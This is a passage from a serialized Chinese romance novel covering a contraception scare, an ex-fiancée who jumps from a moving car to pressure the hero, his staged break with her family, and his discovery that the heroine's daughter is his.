贺淮钦走后,温昭宁锁了门,倒头就睡,这一觉,睡到天光大亮,阳光晃进小屋后,她几乎是惊跳着醒来的。 她刚从床上坐起来,昨夜混乱又灼热的记忆,就迅速淹没了她,每一帧画面都清晰得令人心悸,带着事后的羞耻与眩晕。 窗外传来隐约的人声,大厅里似乎还有客人在打招呼的笑语,民宿已经开始了新一天的运转,而她,却因为一夜纵情,迟迟未起。 懊恼像一根冰冷的藤蔓,瞬间缠紧了她的心脏,昨夜不该那么放纵失控的! 温昭宁赶紧穿好衣服,收拾战场。 她的小床,凌乱不堪,床单皱得不成样子,甚至被拽离了一角,露出了下面简陋的棕垫,她赶紧用力将床单扯平,将被子和毯子叠得方方正正,然后俯身去收拾垃圾桶。 垃圾桶里扔着几团用过的纸巾,还有几个避孕套。 温昭宁将垃圾袋打结的时候,忽然看到其中一个避孕套破了,那是一个不大但绝对清晰可见的破口,边缘有着不规则的撕裂痕迹。 她一愣。 避孕套破了?什么时候破的?是在贺淮钦最灼热急切的时候,还是最后一次,他从她身后纠缠的时候? 警铃在她脑海里响起来。 安全措施失效了,那可不行。 想当年,她和贺淮钦刚在一起的时候,他们每次都仔细避孕,也就那一次情不自禁,后来就怀上了青柠。 她现在不能有这样的意外情况出现。 温昭宁全都收拾好后,出门去扔掉垃圾。 “昭宁姐,你今天怎么睡这么晚?”鹿鹿问,“不舒服吗?” “没有不舒服,就是昨晚睡得比较晚。” “你昨晚干什么了?” “就……刷了个短剧停不下来了。” “哈哈,我也经常这样。” 温昭宁和鹿鹿交接好工作后,就开车去了镇上,买了一盒事后避孕药。 她直接在车上吃了药,吃完药,她回了一趟家里,把贺淮钦昨天带回来的礼物拿去给母亲和青柠。 青柠去幼儿园了不在,母亲姚冬雪看到贺淮钦给她买的胸针特别感动。 “这贺律师真是有心了,这么大老远出差,还惦记着我这个老太婆。”姚冬雪拍拍温昭宁的手背,“宁宁啊,贺律师这个人,妈看着是真的不错,稳重、踏实,对你对我们家的事情,都上心,尤其是青柠,他不知道青柠是他的女儿,还能视如己出,这说明他是真的喜欢你,爱屋及乌。青柠的身世,你也不能总瞒着他,找个机会告诉他吧。” 温昭宁点点头,这次确定关系后,她已经考虑过这个问题了,她想着今天等贺淮钦有空,就和他好好聊聊这件事情。 “哦,对了,我做了一些糕点,你等下回民宿的时候,给贺律师带一些去,向他转达我的谢意。”姚冬雪说着,从厨房里拿出了两个透明保鲜盒,保鲜盒里整齐码放着金黄酥脆的杏仁酥、莹白如玉的糯米桂花糕,还有几样温昭宁叫不出名字的中式糕点。 母亲这手艺,是当年特意请糕点师傅来家里学的,她平时没事就爱做来给温昭宁和青柠尝尝。 “妈,你这手艺也太棒了,改天民宿搞一场糕点制作的活动,我请你去当教学师傅。” “行,只要你需要,妈肯定随叫随到。” 母女俩聊了几句,温昭宁就拿着糕点去了民宿。 她觉得母亲说得有道理,的确是时候该把青柠的身世告诉贺淮钦了。 这次贺淮钦来悠山村找她,两人之间的关系,就像两条曾经分崩离析的溪流,在绕过险滩巨石后,重新找到了彼此渗透融合的路径。 既然已经重新融合,那她也不该再对他有所隐瞒,这一次,她会以一种更为郑重的方式,将她生命里最重要的秘密,完完整整地交托给他知晓。 温昭宁走进民宿后,就径直往楼道里走。 心跳得有些快,但不再是惊慌,更多的是释然和期待,只是,她还没来得及上楼,她的小腹深处忽然拧起一阵尖锐的绞痛。 “唔!”温昭宁扶着墙壁,缓慢地蹲下去。 “昭宁姐!你怎么了?脸色好苍白!”鹿鹿最先发现她的异样,她惊叫着跑过来,扶住了温昭宁摇摇欲坠的身体。 “我肚子疼。” 温昭宁的额角渗出冷汗,眼前的景物开始晃动,发虚。 “好好的怎么忽然肚子疼呢?该不会是急性肠胃炎吧?”鹿鹿慌张,“现在该怎么办?雨棠姐!雨棠姐!你快过来,昭宁姐她肚子痛得快晕倒了!” 鹿鹿一着急嗓门就会不自觉地放大,她的声音瞬间响彻民宿。 边雨棠正在前台处理一个订单,听到声音,赶紧朝温昭宁这边跑过来。 混乱中,二楼也有脚步声由远及近。 “怎么回事?”是贺淮钦正好下来了。 他看到温昭宁疼得站不住,快步下楼,伸手环住了她的腰,将她大部分的重量都承接了过去。 “我也不知道怎么回事,我看到的时候昭宁姐脸色已经很白了。” “是不是吃坏肚子了?”边雨棠在旁猜测,“宁宁,你吃什么了?” 温昭宁疼得说不出话。 “去医院。”贺淮钦当机立断,一把将温昭宁打横抱了起来。 突如其来的失重感让温昭宁低呼了一声,腹痛似乎也因为这个动作加剧,她抓住了贺淮钦的衣襟,额头抵在他的胸膛上,来回摩擦着,试图减轻痛苦。 贺淮钦一路把温昭宁抱出民宿,边雨棠替他们打开车门,贺淮钦将她放到车厢里,温昭宁一下歪倒在车后座上。 边雨棠见状,也跟着上了车,将温昭宁扶起来,揽在怀里。 去镇医院的路上,车厢里一片死寂,只有温昭宁压抑不住断断续续的抽气声,她蜷缩在后座,意识有些模糊,却能清晰地感受到,驾驶座上那个男人紧绷如岩石的脊背,和他通过后视镜一次次投来的目光。 终于,到了医院。 急诊挂号后,温昭宁被放到了推床上。 医生经过一通简单的按压后,问她:“最近有没有服用过什么特殊的药物?” 温昭宁不敢隐瞒,如实交代:“我……吃了紧急……避孕药。” 一旁的贺淮钦听到她的话,眼眸里瞬间翻涌起复杂的情绪。 医生很快做出判断:“可能是药物引起的强烈胃肠道反应和子宫痉挛,先打一针解痉止痛的针,然后再去做个检查。” 温昭宁被带去打针,打完针后过了一会儿,药物慢慢地起了作用,那磨人的绞痛终于开始一点点松动,减轻。 她又去做了一个检查,并未检查出什么问题,基本可以判断,她的疼痛是由药物副作用引起的。 “事后避孕药的副作用因人而异,有些人吃了这个药可能没什么反应,但有些人吃了这个药就可能会引起腹痛、恶心、呕吐、头痛、月经周期紊乱等一系列的症状。”医生说着,抬眸看了一眼温昭宁身边的贺淮钦,“而且这种药绝对不能频繁使用,如果不想要孩子,以后行房可以用别的方式避孕,不然对女性身体伤害很大。” 贺淮钦脊背挺直,却透出一种前所未有的僵硬,急诊室顶灯冷白的光线落在他的肩上,一半明亮,一半沉入阴影,正如他此刻晦暗不明的眼神。 “我知道了,谢谢医生提醒。”贺淮钦说。 三人从医院出来时,温昭宁基本已经感觉不到疼痛了,只是人还很虚。 贺淮钦去开车的时候,边雨棠在身边扶着她。 “宁宁,下次可千万注意了,不能再服用事后避孕药了。”边雨棠有些心疼,“怎么,难道贺律不知道主动避孕吗?” “我们避孕了,但避孕套破了,我怕有意外,就去买了避孕药。” “原来是这样,我还以为贺律不负责任呢。” 贺淮钦很快把车开到她们的面前。 边雨棠扶着温昭宁上车,温昭宁整个人没什么力气,上车的时候被绊了一下,差点摔倒。 “小心!”边雨棠疾呼。 贺淮钦回头看了一眼,温昭宁脸色苍白,唇上没有一点血色,整个人病恹恹的。 他自然是心疼她的,只是心疼之外,还有一种更阴沉更尖锐的情绪,正以摧枯拉朽之势冲撞着他的理智。 贺淮钦非常不理解,为什么他已经明明采取了避孕措施,温昭宁也知道他全程戴套,她却还要去服用紧急避孕药? 就这么怕怀上他的孩子吗? 怕到要立刻吃药,哪怕承受这可怕的副作用? 难道在她的心里,与他有关的一切,包括一个可能流淌着他们两人血液的孩子,都是如此不堪,如此需要被紧急清除的存在? 他满腹疑惑,愤怒不安,但因为车厢里还有边雨棠在,他忍住了没有问。 -- 车子快到悠山村的时候,贺淮钦开口问:“送你回家还是回民宿?” “回民宿,我的电脑还在民宿,有个采购文件需要确认。” 贺淮钦不语,将车开到民宿门口后,缓缓停稳。 边雨棠扶着温昭宁下车,温昭宁已经缓过来了,只是脚步仍有些虚浮,贺淮钦从驾驶座的方向绕过来,扶住了温昭宁的另一侧手臂。 三人一起走进小院。 前台的鹿鹿一看到温昭宁他们回来,赶紧冲过来。 “昭宁姐,你没事吧?” “没事。”温昭宁虚弱地回。 “没事就好,刚才真是吓死我了,什么原因忽然痛成这样?” 民宿人多,温昭宁一时不知道该怎么回答,幸好身边的边雨棠替她解围说:“检查过后没什么大问题,就是宁宁自己吃坏东西了。” “那你下次可得小心点,注意饮食卫生。” 温昭宁“嗯”了一声。 “哦,对了。”鹿鹿转头看向温昭宁身边的贺淮钦,“贺律师,有位女士从沪城来找你,已经在大厅等你快一个小时了。” 贺淮钦闻言,朝大厅方向看过去,温昭宁也跟着转眸。 大厅的编藤沙发上,是一个年轻的女人。 女人穿着裁剪利落的米白色阔腿裤,同色系的丝质衬衫,外搭一件线条流畅的驼色长风衣,脸上架着一副遮住半张脸的黑色墨镜。 沈雅菁! 竟然是沈雅菁来了! “淮钦哥!”沈雅菁也看到了他们,她摘了墨镜,目光落在贺淮钦的身上,红唇勾起一个熟稔亲昵的微笑,“你的电话怎么一直打不通啊?我都等你很久了!” 沈雅菁款款走上前,等走到他们面前时,沈雅菁装作像才看到温昭宁的样子,惊讶地说:“这么巧,温小姐也在这里,哟,你的脸色怎么这么差?你是不是生什么病了?” 她的目光,带着一种居高临下的审视感。 温昭宁不用照镜子自己也知道,她此时肯定脸色苍白憔悴,头发凌乱,外套皱巴巴的,在情敌见面这个场景里,的确落了下风。 “谢谢沈小姐的关心,我的确有些不舒服,就先不奉陪了。”温昭宁挣开了贺淮钦扶着她的手,卯着劲往大厅里走。 边雨棠和鹿鹿赶紧跟上她。 “昭宁姐,这是谁啊?”鹿鹿八卦心起,压着嗓子轻声问,“这是贺律师的女朋友吗?气质好好啊……” 边雨棠知道温昭宁和贺淮钦的关系,赶紧冲鹿鹿使眼色,示意她不要多话,可来不及了,温昭宁的心已经沉下去了。 贺淮钦不是说他和沈雅菁已经取消婚约了吗?既然已经取消婚约了,那沈雅菁为什么会千里迢迢跑来这里找他? 难道是贺淮钦骗了她? 也是,恩师的临终托付,那么多双眼睛盯着,那么多情义裹挟着,这婚约哪儿有那么容易取消。 可如果他根本没有取消婚约,如果沈雅菁依然是他名正言顺的未婚妻,那他这段日子对她的所作所为,又算什么? 一次心血来潮的旧情复燃?一场旅途中打发时间的暧昧游戏? 而她,昨夜在他怀里防线尽失、今天又狼狈吞下药片的她,又算什么?一个自投罗网可笑至极的傻瓜吗? 温昭宁觉得自己的呼吸都像是被扼住了,比身体的不适更尖锐的,是一种从骨缝里渗出来的带着腥气的羞耻和愤怒。 “宁宁。”边雨棠见温昭宁的脸红一阵白一阵的,有些担心,“你还好吗?” 这一天起起落落,实在难捱又疲惫,温昭宁有点想哭,她的指甲深深掐紧掌心,疼痛让她维持着最后一丝清明,没有当场失态。 “我没事。” 第73章 我崇拜你 小院里,温昭宁走开后,沈雅菁就把注意力重新转向了贺淮钦。 “淮钦哥……” “拿上你的行李箱,跟我走。”贺淮钦说着,转身率先走出了民宿。 沈雅菁的行李箱还在大厅,她折回去,在温昭宁和另外两个女人的注视下,挺直脊背,拉上行李箱,姿态十足地去追贺淮钦。 “淮钦哥,你等等我呀!” 贺淮钦已经先上了车,沈雅菁习惯了贺淮钦的绅士,第一次要自己把行李箱放进后备箱,她觉得又累又不开心。 上车的时候,她带着几分怨气,将车门“砰”的一声关得很响。 “行李箱好重,我新做的美甲都撇了……” 她把手伸出去,试图撒娇,可淮钦根本看都不看她一眼,等她上车后,他直接发动了车子,驱车离开了民宿。 沈雅菁隐隐感觉到贺淮钦的怒气。 “淮钦哥。” “谁让你来的?”贺淮钦的声音像从冰块里凿出来的,每一个字都裹着寒气。 “我自己要来的,我来找你怎么了?”沈雅菁委屈,“这段时间我给你打了多少电话,发了多少信息,你既不接我电话,也不回我信息,彻底和我失联,我是你的仇人还是恶鬼?你要这么躲着我?” 这一个多月来,沈雅菁找贺淮钦都快找疯了,律所、别墅、贺淮钦母亲那里,沈雅菁到处去蹲点,可是,都没有发现贺淮钦的踪迹。 昨晚她无意间刷到温昭宁民宿的视频,镜头扫过庭院全景的时候,她忽然看到了一道熟悉的侧影,坐在庭院的枣树下,正在看书。 就那短短两三秒的时长,沈雅菁来来回回的拖动进度条,不断地暂停、放大,看了五六十遍,终于确定,那就是贺淮钦。 她那么找他,他却安然地坐在温昭宁的民宿里! 滚烫的嫉妒,硫酸一样腐蚀了沈雅菁的心。 她连夜收拾行李,决定来民宿找他! “我没有躲着你,我说过,你自己好好生活,没事不要来找我,更不要一天到晚围着我转。” “可我是你的未婚妻!我不围着你转,我围着谁转?” “沈雅菁!”贺淮钦眼底泄出一丝压抑不止的怒意,“注意你的措辞,我们的婚约已经解除了!” “解除?”沈雅菁嗤笑,“我身边的朋友也都知道了我要订婚的消息,你说解除就解除?贺淮钦,你以为这是过家家吗?你考虑过我的感受吗?” “你的朋友都知道,那是你故意到处去宣扬,你想要用身旁人的舆论来绑住我,但我不吃你那一套。” “你也说了,是你点头的!既然你不想订婚,你为什么要点头,你知道我妈她有多失望吗?她难过得天天以泪洗面!” “别整天拿你妈来威胁我,你是不是真的以为你什么都能瞒住我?” 沈雅菁眼底闪过一丝心虚:“我不知道你在说什么。” “你不用装,我知道你母亲重病入院,是你买通了医生做假病历,故意给我设局,你想利用我的愧疚心,来逼我妥协。” 贺淮钦是同意订婚后的第三天知道这件事情的,邵一屿在医院发现了沈雅菁母亲的假病历,逼问之下,那位主治医师就把沈雅菁如何买通他的事情都招了。 “我取消婚约,没有在任何人面前说起过这件事情,是为了保全师母的体面,我警告你,我和你之间的事情,不要再把长辈牵扯进来,尤其,不要拿她们的健康开玩笑,这是底线!如果你还不听劝继续这么纠缠,就别怪我真的不讲情面!” 沈雅菁得知自己和母亲谎称重病骗他的事情已经被贺淮钦知道,巨大的恐慌瞬间攫住了她。 母亲“重病”,一直都是她拿来牵制贺淮钦,博取同情的一张王牌,可现在,这张王牌要失效了。 车厢里沉默了片刻。 沈雅菁忽然哭起来。 “淮钦哥,对不起,骗你这件事情的确是我不对,可我是真的很喜欢你!我爸第一次把你带回家的时候,我就已经喜欢上你了。这么多年,我的心里只有你!” 贺淮钦面无表情,目光依旧盯着前方的道路,握着方向盘的手稳如磐石,浑身上下没有一丝动容。 沈雅菁见他不为所动,眼泪流得更凶。 “你忘了……你忘了当年你一无所有,是我父亲倾力相助,你才有了今时今日的财富和地位,我爸爸他临终的时候,那样把我托付给你,他说把我交给你,他最放心……你明明答应他了,你明明答应他了……” 已故父亲,是沈雅菁最后的底牌了。 贺淮钦的嘴角抿成了一条冰冷的直线,他终于侧头看了她一眼,但他的眼神里没有任何温情和动容,只有深不见底的厌倦。 “你父亲永远是我的恩人,我从来没有否认过这一点,我也说过,只要我贺淮钦不倒,我可以保你和师母一辈子衣食无忧,但是雅菁,恩情是恩情,感情是感情,不要混为一谈,更不必一次次拿出来,试图道德绑架我。” “原来我爸对你的恩情,在你眼里就是绑架,你怎么这么忘恩负义这么背信弃义!”沈雅菁见父亲的恩情对贺淮钦都不好使了,情绪彻底失控,“贺淮钦,如果你不娶我,我就去找我爸,我现在就去找我爸,告诉他,你对不起我,也对不起他!” 沈雅菁说完,快速地松开了自己的安全带,打开了副驾驶座的车门。 车子正在行驶中,气流灌入车厢,发出恐怖的呼啸声。 沈雅菁的风衣,如同一片枯叶,被风卷起,她抓着车门,看准时机,纵身一跃。 “雅菁!”贺淮钦的瞳孔骤然紧缩,嘶声厉吼着想要去抓住她,但来不及了。 一切发生在电光火石之间。 “吱——!!!” 尖锐到极致的刹车声,撕破了路面的平静。 安全气囊重重弹出,撞击的力道让贺淮钦眼前猛地一黑,耳鸣声盖过了其他一切的声音,但比身体的疼痛更先一步攫住他的,是一种从骨髓深处渗出来的恐惧,他的大脑甚至有几秒钟的空白,无法处理刚才那惊心动魄的一幕。 沈雅菁那张扭曲疯狂的脸,她决绝推开车门的动作,以及最后,那道如同被折断翅膀的鸟儿般坠落的身影…… “雅菁……”他猛地扯开勒在身上的安全带,踉跄着下车,脚步虚浮地朝沈雅菁跑去,“沈雅菁!” -- 救护车呼啸而至。 沈雅菁很快被送去医院。 幸运的是,沈雅菁跳车的那段路外侧,正好有农户晾晒了很厚的稻草垛,堆在路基下面,她坠落的时候,大部分的冲击力都被那厚厚的、松软的稻草缓冲吸收了。 医生说沈雅菁并没有大碍,只是轻微脑震荡,左臂手肘骨折外加全身多处软组织挫伤和擦伤。 沈雅菁被转到普通病房后,还昏迷着,贺淮钦坐在她的病床边,看着她的脸,心里并没有劫后余生般的松快,反而压着比死亡阴影更沉重的东西。 他不敢想,如果沈雅菁今天真的有什么三长两短,他这一生该背负怎样的罪与责,短时间内,他恐怕无法消化掉亲眼目睹她跳车时那灭顶的惊惧了。 贺淮钦就这么靠坐在椅子上,保持着那个姿势,一动不动地坐了一夜。 陈益半夜赶来,在陪睡床上倒头就睡,第二天一早醒来,看到老板还雕塑一样坐着,有点担心。 “贺律,你没事吧?” “没事。”贺淮钦终于站起来,他的眼底布满了红血丝,“我去楼下抽根烟,醒了叫我。” “好。” 贺淮钦下楼,烟刚点燃,陈益打电话过来,说沈雅菁醒了。 他掐了烟,快步上楼。 贺淮钦回到病房的时候,陈益正和沈雅菁说着什么,见他推门进来,陈益立刻说:“你看,我没骗你吧,贺律说来就来。” 沈雅菁脸色苍白,眼神涣散,但在看到贺淮钦推门进来的那一刻,眼底迸发出一簇光亮,混着惊喜与期盼。 “淮钦哥,陈助理说你坐在这里守了我一整夜,担心得没有合眼。”她声音沙哑,“是真的吗?” 贺淮钦斜了一眼陈益。 这人真是话多得要死。 陈益成功获得老板的一记眼神杀,但他并不觉得自己有什么错,这沈雅菁为了求爱这都跳车自杀了,人刚醒,总得稍微哄一哄吧,万一她又想不开这可怎么办? “你先出去。”贺淮钦对陈益说。 “是,贺律。” 陈益走出病房后,病房里只剩下了贺淮钦和沈雅菁。 “淮钦哥……我就知道……你心里还是有我的……”沈雅菁喃喃着,像是自我安慰,又像是说给他听。 贺淮钦走到病床边,垂眸看着她,他脸上没有任何表情,没有对她的担忧,没有她终于醒来的惊喜,也没有沈雅菁预想中的零星半点的温情动容,只有一片漠然。 沈雅菁被他这样的目光看得心头发慌,那点刚刚升起的喜悦就像是脆弱的肥皂泡,开始不安地晃动。 她试图伸手去碰贺淮钦垂在身侧的手,却因为牵动伤口太疼又讪讪缩回。 “淮钦哥,昨天是我太冲动了……吓坏你了是不是?对不起,我以后再也不会这样了,你别不要我,我们重新开始好不好……” “沈雅菁。”贺淮钦终于开口,打断了她虚弱又急切的表白,“你跳车的时候,在想什么?” 他的语气,平静得可怕。 “我……我当时太伤心太绝望……我以为……” “你以为用你的命就能要挟我?你以为看到你血肉模糊地躺在地上,我就会心软,就会因为愧疚和恐惧,重新戴上你递过来的枷锁?” 沈雅菁脸上血色褪尽,她嘴唇哆嗦着,却发不出任何声音。 “用自己的命去讨一个男人对你爱,你真可悲。”贺淮钦盯着她,眼底一片疏离,“我的确在这里守了你一夜,但不是担心你,也不是关心你,我只是需要确认这场因为你的极端行为而起的意外,不会闹出人命,不会给我带来更无法收拾的后果。” 他顿了顿,目光扫过她打着石膏的手臂和头上的纱布,脸上依然没有一丝温度。 “现在,你没事了,除了你自己造成的这些伤,你幸运地捡回了一条命。那么,你听清楚了——”贺淮钦微微俯身,朝沈雅菁靠近了些,“从今以后,你的死活,你的喜怒,你的一切都与我再无半点关系,包括你的母亲,她的所有医药费我也不会再负担一分。” 沈雅菁猛地睁大了眼睛,瞳孔满是震惊和恐惧。 他以后不再管她了,也不再管她母亲了,那怎么行?她母亲这些年服用的都是些进口药物,非常贵,凭她根本无力负担。 “淮钦哥……你不能这样……你这样我怎么和我妈交代……” “如实交代,你做了什么好事。” “淮钦哥……” “你不是说我忘恩负义、背信弃义吗?你是该见识一下了,什么是真正的忘恩负义背信弃义。”贺淮钦直起身,仿佛多靠近一秒都让他难以忍受,“陈益等下会安排你转院回沪城,你放心,这次的事情,我会负担所有的医疗费用,但从此之后,你不要再来找我!你好自为之!” 他最后看了她一眼,那眼神,像是在看一个彻底无关的陌生人。 然后,他转身就走,没有一丝的犹豫。 “贺淮钦!你不能这样!贺淮钦!贺淮钦!”沈雅菁哭喊着,她挣扎着想坐起来,却牵动了全身的伤处,痛得眼前发黑,只能躺回床上,徒劳地看着那扇门在她眼前轻轻合拢,隔绝了贺淮钦,也隔绝了她最后一丝妄想。 病房里,只剩下她痛苦的喘息。 为什么会这样,她原本只是想吓吓他而已,她根本没有真的想死。 “淮钦哥……我错了……我再也不敢了……你原谅我……淮钦哥……” 贺淮钦走出病房。 走廊上,陈益已经把贺淮钦刚才对沈雅菁说的话听得七七八八了。 “贺律。”陈益凑到贺淮钦的耳边,用只有贺淮钦听得到声音问他,“你以后真的连沈夫人都不管了吗?” 贺淮钦沉一口气:“我会去找师母,让她配合我演戏,我相信,没有一个母亲会想看到自己的女儿为了爱情要死要活的,她一定会支持我。” “演戏?”陈益朝贺淮钦竖了竖大拇指,“这招高,实在是高,我就知道,我老板最重情义了怎么可能不管沈律师的家人,老板,我崇拜你。” “闭嘴吧你,给我安排车,我现在就去见师母。” “是,贺律。” 第74章 我恨你 丈夫沈仲蔺去世后,林以真就一直住在湖心雅苑的小别墅里。 这是贺淮钦给她安排的住处,风景秀丽,空气也好。 林以真身体不太好,平时很少外出,空闲时她喜欢看看书、念念佛,或者在院子里散散步,家里的一切都有保姆操持,她不需要做任何家务。 她时常感慨,年轻时总围着丈夫女儿转,一点自己的时间都没有,到老了,反倒过上了自己梦寐以求的生活。 而这一切,全都是托了贺淮钦的福。 “太太,贺先生来了。” 林以真正在院子里晒太阳,听到保姆的话,惊喜朝大门口望去。 果然,门外,贺淮钦正款步进来。 “林姨。” “淮钦!”林以真站起来,朝贺淮钦迎过去,“今天怎么有空过来?” 贺淮钦没回答,只是扶住了林以真的胳膊,对她说:“我先进去给沈叔上个香。” “好。” 贺淮钦每次来这里,第一件事情,就是给沈仲蔺的牌位上香。 林以真在贺淮钦身后看着,等他上完香,又将他引至客厅,给他泡了一壶茶。 “发生什么事了?你看着很疲惫。”林以真一看到贺淮钦,就注意到他今天进门时没有平日脚下生风的那股劲儿。 “林姨,我和您说件事,您听了千万不要激动。” 林以真有种不祥的预感:“是不是雅菁出什么事了?” “是的,她出了车祸,现在在医院里。” “什么!”林以真整个人顿时颤抖起来。 “您别担心,情况不严重,我已经派人在照顾她,过几天就可以回家休养了。” 话虽这么说,但林以真仍是难以平静:“她怎么会出车祸?” “是她自己在我行驶途中,推门跳了车。” 贺淮钦把事情的来龙去脉都说了一遍,林以真听完贺淮钦的话,连连叹气。 “淮钦,对不起,是我没有教好孩子,她……她对你的执念实在太深了,这都怪她爸,临终时一句让你娶她,她便以为这是什么免死金牌了。” “林姨,沈叔临终时,让我娶雅菁,我当时见他只剩那最后一口气,不忍他遗憾离世,才点头同意,但我对雅菁真的没有男女之情,如果我不爱她,却娶了她,这会耽误她一辈子。沈叔已经去了,我没有办法向他解释,寻求他的理解,但您明事理,我相信,您一定能理解我当时为什么点头,之后又为什么推拒。” “我理解,我真的理解。我早就劝过雅菁强扭的瓜不甜,但她不听我的。” “雅菁已经钻进了牛角尖,我和她之间的事情,必须有个决断了,如果再拖下去,她今天可以跳车,明天就能跳楼,要是她一直这么极端,保不齐哪天就真的出了什么不可挽回的意外,到时候,我真的无法向沈叔和您交代。” 林以真作为母亲,最不希望看到的就是孩子真的出现什么意外。 “淮钦,你想怎么决断?” “雅菁一直对我纠缠不休,就是因为我一直放不下对沈叔的恩情和对你们的照拂,我越是为你们打点,她越是觉得这份恩情可以将我拿捏,既然如此,我就得彻底打破她这个念想,让她以为我真的忘恩负义,已经放下了沈叔的恩情。” 林以真一点就通:“你想让我配合你演戏?” “是的林姨,这段时间可能需要委屈你一下,吃穿住行,都要缩减,你一直在吃的药,之后我也会让人换了包装给你送过来,总之,你要让雅菁知道,我是彻底不管你们了。”贺淮钦话落,又郑重地补充一句:“当然,我绝对不会真的不管你们,没有沈叔就没有我的今天,这份恩情,我永远不会忘记。” “林姨知道你是个感恩的好孩子,仲蔺对你只是一点提携,你如今回馈的,早已超出了他对你的恩情范畴。是雅菁这孩子挟恩图报,是她不知感恩,不知分寸。”林以真看着贺淮钦,“谢谢你还愿意拉她一把,你放心,我一定会配合你,让她吃吃苦头,真正成长起来!” -- 贺淮钦带着沈雅菁离开后,一天一夜没有回民宿。 温昭宁坐在前台的椅子上,看着日头升起、落下、再升起,二十四小时,一千四百四十分钟,每一分每一秒都被无限拉长,每一分每一秒都在切割着温昭宁敏感的神经。 起初是冰冷的、尖锐的失望,像一根针扎在心头。 随着时间无声的流逝,那根针仿佛生了绣,开始迟钝地搅动,将失望慢慢研磨成令人窒息的绝望。 他没有回来,没有一个电话也没有一个信息,他是在哄她的未婚妻吗? “订婚取消了。” 这句曾经让她如释重负的话,现在反而压得她心头窒闷无比。 或许,那根本就是他随口一说,用来应对她的质问,安抚她情绪的一个幌子,而她,竟然真的信了。 她想起沈雅菁那个得意的眼神,原来,自始至终,被蒙在鼓里,一厢情愿,沦为笑柄的只有她自己一个人。 身体的不适,在这种巨大的情绪冲击和持续的精神紧绷下,终于开始全面反扑。 温昭宁起初只是觉得格外畏寒,明明穿着外套,待在生着壁炉的大堂里却仍感觉丝丝缕缕的寒气从脚底往上窜,没过一会儿,就觉得头开始发陈,像灌了铅一样。 是昨天的药物副作用还未完全消退?还是这一天一夜无声的煎熬和冰冷的失望终于击垮了她本就虚弱的身体防线? 或许,兼而有之。 “雨棠姐,我有点不舒服。”温昭宁对边雨棠说,“我先回家去睡一会儿,你有事给我打电话。” “好,你快去。” 温昭宁回家睡了一上午,整个人才缓过劲儿来。 她准备下楼吃个午饭,就去民宿那边继续工作。 “宁宁。”母亲姚冬雪看到温昭宁下楼,赶紧过来伸手探了探她的额头,“没发烧吧?” “没有。” “那你怎么回事,从昨天开始整个人就魂不守舍的?”姚冬雪打量着女儿,感觉温昭宁不止身体软绵绵的,连眼神都是灰扑扑的,“你怎么了?是民宿生意遇到什么难处了?” “不是。” “那你和贺律师吵架了吗?” 温昭宁听到“贺律师”这三个字,眼神更暗了。 姚冬雪思索了一下,不等温昭宁回答,又立刻问:“你把青柠的身世告诉贺律,他怪你了是不是?” 温昭宁摇头:“不是的,我没有把青柠的身世告诉他。” 她也庆幸自己还没来得及把青柠的身世告诉他,否则的话,眼下的情形恐怕更加复杂。 “那怎么了?” “贺淮钦的未婚妻来了。” 姚冬雪大吃一惊:“你不是说他已经取消订婚了吗?怎么还没断干净吗?” “我也不知道。” “是不是压根就没有断?不然能大老远找到这里来?” 温昭宁沉默。 果然,母亲和她一样,第一反应都是这样的猜测。 姚冬雪看着女儿单薄的肩膀,心里一阵抽疼,她上前一步抱住女儿,轻轻拍打她的后背:“宁宁,你别难过,别难过昂。” 母亲明明让她别难过,可语气却比她还难过。 温昭宁有点后悔,早知道,她当初就不该把自己和贺淮钦的过往告诉母亲的,现在既让她空欢喜一场,又让她担心自己。 “哎,我本来还盼望着青柠和贺律师父女相认,你们三从今往后好好地过日子,没想到最后搞成这样。” 温昭宁见不得母亲遗憾和失望,也不想让她太担心自己,于是故作轻松的宽慰:“没事啦,妈,我一个人带着青柠也挺好的,你想想啊,最难的时候我都一个人熬过来了,失去一个男人又算得了什么呢。还有,从现在开始,你不要再提及青柠的身世,我不想让贺淮钦知道青柠是他的女儿,这件事,咱们就烂在肚子里。” “嘭!” 门口有什么重重坠地的声音传来。 温昭宁和姚冬雪同时回头,看到院门口那片被爬山虎藤蔓半掩的阴影里,不知何时,多了一道僵立如石的身影。 是贺淮钦。 而刚刚砸在地上的,是母亲之前装糕点的保鲜盒。 那日腹痛后,温昭宁就把糕点放在前台让大家分了,怎么最后保鲜盒会是贺淮钦拿来还? 但这不是重点,重点是,他听到了,刚才温昭宁说的话,他都听到了! “你刚刚说什么?”贺淮钦脸色宛若黑云压境,声音更是森冷,“你刚刚说什么?青柠是谁的女儿?” 不要再提及青柠的身世。 不想让贺淮钦知道青柠是他的女儿。 贺淮钦的血液一瞬间凝固,又在下一秒疯狂涌动,他僵在那里,动弹不得,只剩下温昭宁那句清晰无比的话,一字一句凿进他毫无防备的心里。 女儿……他的女儿! 贺淮钦下意识地后退了半步,脊背撞在冰冷粗糙的红砖墙上,发出一声闷响。 巨大的混乱和迷茫中,他就那么死死地盯着温昭宁。 温昭宁的脸色比贺淮钦更加难看。 她做梦都没有想到,她保守了这么多年的秘密,偏偏在她最不想让贺淮钦知道的时候,被他知道了。 姚冬雪也被吓得不轻,尤其,是她清晰地窥见贺淮钦眼底那风雨欲来的震怒后。 “贺律师啊。”姚冬雪比温昭宁先反应过来,她赶紧跑到贺淮钦身边,一把抓住了贺淮钦的胳膊,对他说:“贺律师,青柠这件事,的确是我们宁宁对不住你,但你不要生气,你们两个心平气和地聊聊,好不好?” 贺淮钦看了姚冬雪一眼,语气里带着一种不容抗拒的决断:“阿姨,麻烦你先回避一下。” 姚冬雪张了张嘴,想说什么,最终却只是化作了一声无言的叹息,虽然她很担心自己的女儿,但是,这毕竟是他们两个人的事情,她实在不好插手。 “宁宁,妈去隔壁菜园里割点菜晚上吃,你和贺律师好好聊,两个人都不要意气用事,知道吗?”姚冬雪交代。 温昭宁点了点头。 姚冬雪拿上菜篮子,一步三回头地出门去了。 -- 母亲走得太急,连水龙头都没有关紧,水流一滴一滴地缓慢落下,敲击着不锈钢水槽,发出空洞而冰冷的声响,像是在为这场迟到了六年的审判倒计时。 温昭宁立在厨房门口,全身都冷得失去了知觉,只有心脏在胸腔里狂跳。 她不敢去看贺淮钦。 时间被拉长,每一秒都像在刀尖上碾过。 不知过了多久,她的余光才瞥见贺淮钦动了。 他一步一步走到她面前,巨大的压迫感向温昭宁倾轧过来。 “青柠……真的是我的孩子?” 温昭宁不受控制地颤抖起来,不是害怕,而是一种被逼到悬崖边缘,无所遁形的本能反应。 “说!”他一声怒吼。 “是。” “砰——!” 贺淮钦一拳砸在了墙壁上。 